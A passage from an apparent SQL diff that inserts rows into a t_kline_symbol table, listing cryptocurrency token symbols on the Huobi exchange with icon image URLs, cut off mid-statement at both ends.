'SUPER', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/superfarm.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (738, 'huobi', 'unb', 'UNB', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/Unbreakablcoin.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (739, 'huobi', 'aury', 'AURY', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aurory.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (740, 'huobi', 'xtm', 'XTM', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/torum.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (741, 'huobi', 'gods', 'GODS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gods-unchained.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (742, 'huobi', '1sol', '1SOL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/1sol.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (743, 'huobi', 'radar', 'RADAR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dappradar.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (744, 'huobi', 'gmpd', 'GMPD', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/gamespad.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (745, 'huobi', 'ustc', 'USTC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/terrausd.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (746, 'huobi', 'elon', 'ELON', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dogelon-mars.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (747, 'huobi', 'dio', 'DIO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/decimated.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (748, 'huobi', 'nt', 'NT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nt.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (749, 'huobi', 'sos', 'SOS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sos-foundation.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (750, 'huobi', 'wnd', 'WND', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wonderhero.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (751, 'huobi', 'ertha', 'ERTHA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ertha.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (752, 'huobi', 'aurora', 'AURORA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aurora-near.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (753, 'huobi', 'rain', 'RAIN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/condensate.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (754, 'huobi', 'slc', 'SLC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/slice.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (755, 'huobi', 'love', 'LOVE', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (756, 'huobi', 'xyo', 'XYO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xyo-network.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (757, 'huobi', 'looks', 'LOOKS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/looksrare.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (758, 'huobi', 'trac', 'TRAC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/origintrail.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (759, 'huobi', 'pokt', 'POKT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/pocketnetwork.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (760, 'huobi', 'gari', 'GARI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/garinetwork.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (761, 'huobi', 'nct', 'NCT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/polyswarm.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (762, 'huobi', 'inv', 'INV', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/inverse-finance.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (763, 'huobi', 'scrt', 'SCRT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/secret.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (764, 'huobi', 'loot', 'LOOT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/loot.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (765, 'huobi', 'store', 'STORE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bit-store.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (766, 'huobi', 'trace', 'TRACE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/trace-network-labs.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (767, 'huobi', 'ats', 'ATS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/authorship.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (768, 'huobi', 'vra', 'VRA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/verasity.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (769, 'huobi', 'vnd', 'VND', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vnd.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (770, 'huobi', 'suku', 'SUKU', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/suku.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (771, 'huobi', 'spellfire', 'SPELLFIRE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/spellfire.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (772, 'huobi', 'aca', 'ACA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/acala-token.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (773, 'huobi', 'ctx', 'CTX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cartaxi-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (774, 'huobi', 'dia', 'DIA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dia-data.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (775, 'huobi', 'mpl', 'MPL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/maple-finance.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (776, 'huobi', 'plu', 'PLU', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pluton.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (777, 'huobi', 'phcr', 'PHCR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/photochromic.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (778, 'huobi', 'glmr', 'GLMR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/moonbeam.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (779, 'huobi', 'hbb', 'HBB', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/hubbleprotocol.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (780, 'huobi', 'sns', 'SNS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/melody-sns.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (781, 'huobi', 'rare', 'RARE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/superrare.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (782, 'huobi', 'mc', 'MC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/merit-circle.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (783, 'huobi', 'wallet', 'WALLET', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ambire-wallet.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (784, 'huobi', 'zkp', 'ZKP', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/panther-protocol.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (785, 'huobi', 'kt', 'KT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kt.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (786, 'huobi', 'upi', 'UPI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pawtocol.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (787, 'huobi', 'mgg', 'MGG', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/metagamingguild.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (788, 'huobi', 'rss3', 'RSS3', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rss3.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (789, 'huobi', 'roco', 'ROCO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/roiyal-coin.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (790, 'huobi', 'zig', 'ZIG', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zignaly.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (791, 'huobi', 'arkn', 'ARKN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ark-rivals.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (792, 'huobi', 'sis', 'SIS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/symbiosis-finance.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (793, 'huobi', 'gmee', 'GMEE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gamee.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (794, 'huobi', 'starly', 'STARLY', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/starlyio.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (795, 'huobi', 'babydoge', 'BABYDOGE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/baby-doge-coin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (796, 'huobi', 'hec', 'HEC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/heroeschained.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (797, 'huobi', 'gf', 'GF', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/guildfi.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (798, 'huobi', 'chsb', 'CHSB', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/swissborg.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (799, 'huobi', 'ranker', 'RANKER', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rankerdao.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (800, 'huobi', 'pstake', 'PSTAKE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/pstake.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (801, 'huobi', 'revv', 'REVV', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/revv.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (802, 'huobi', 'holo', 'HOLO', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (803, 'huobi', 'polc', 'POLC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/polka-city.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (804, 'huobi', 'wild', 'WILD', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wild-crypto.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (805, 'huobi', 'gear', 'GEAR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitgear.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (806, 'huobi', 'vpad', 'VPAD', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vlaunch.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (807, 'huobi', 'lbp', 'LBP', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/launchblock-com.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (808, 'huobi', 'gcoin', 'GCOIN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/galaxyfightclub.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (809, 'huobi', 'hotcross', 'HOTCROSS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hot-cross.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (810, 'huobi', 'floki', 'FLOKI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/floki-inu.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (811, 'huobi', 'multi', 'MULTI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/multichain.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (812, 'huobi', 'scream', 'SCREAM', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/scream.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (813, 'huobi', 'boo', 'BOO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bamboo.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (814, 'huobi', 'win', 'WIN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/wink.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (815, 'huobi', 'mbox', 'MBOX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mobox.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (816, 'huobi', 'wpci', 'WPCI', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (817, 'huobi', 'wemix', 'WEMIX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wemix-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (818, 'huobi', 'bull', 'BULL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/buysell.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (819, 'huobi', 'aioz', 'AIOZ', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aioz-network.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (820, 'huobi', 'syn', 'SYN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/synapse.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (821, 'huobi', 'ern', 'ERN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethernity-chain.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (822, 'huobi', 'gst', 'GST', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gstcoin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (823, 'huobi', 'kai', 'KAI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/kardiachain.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (824, 'huobi', 'indi', 'INDI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/Indi_Coin.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (825, 'huobi', 'bit', 'BIT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitdao.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (826, 'huobi', 'xcad', 'XCAD', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/XCAD.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (827, 'huobi', 'okb', 'OKB', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/okb.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (828, 'huobi', 'sd', 'SD', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/stader.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (829, 'huobi', 'zbc', 'ZBC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zebec-protocol.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (830, 'huobi', 'smcw', 'SMCW', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/space-misfits.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (831, 'huobi', 'qrdo', 'QRDO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/qredo.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (832, 'huobi', 'ctxc2x', 'CTXC2X', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (833, 'huobi', 'orb', 'ORB', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/Orbitcoin.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (834, 'huobi', 'onston', 'ONSTON', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/onston.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (835, 'huobi', 'h2o', 'H2O', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/h2o-dao.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (836, 'huobi', 'arv', 'ARV', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ariva.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (837, 'huobi', 'abbc', 'ABBC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/alibabacoin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (838, 'huobi', 'loka', 'LOKA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/leagueofkingdomsarena.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (839, 'huobi', 'crpt', 'CRPT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/crypterium.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (840, 'huobi', 'fx', 'FX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/function-x.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (841, 'huobi', 'dog', 'DOG', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/the-doge-nft.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (842, 'huobi', 'lmr', 'LMR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/lumerin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (843, 'huobi', 'anml', 'ANML', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/animal-concerts.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (844, 'huobi', 'vr', 'VR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/victoriavr.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (845, 'huobi', 'cudos', 'CUDOS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cudos.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (846, 'huobi', 'gq', 'GQ', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/outer-ring-mmo-gq.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (847, 'huobi', 'cake', 'CAKE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pancakeswap.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (848, 'huobi', 'xdefi', 'XDEFI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xdefi-wallet.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (849, 'huobi', 'fuse', 'FUSE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/fusefi.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (850, 'huobi', 'raca', 'RACA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/radio-caca.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (851, 'huobi', 'onit', 'ONIT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/onbuff.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (852, 'huobi', 'sprt', 'SPRT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sportium.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (853, 'huobi', 'egs', 'EGS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/edgeswap.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (854, 'huobi', 'ceek', 'CEEK', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ceek-vr.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (855, 'huobi', 'xcn', 'XCN', NULL, NULL, 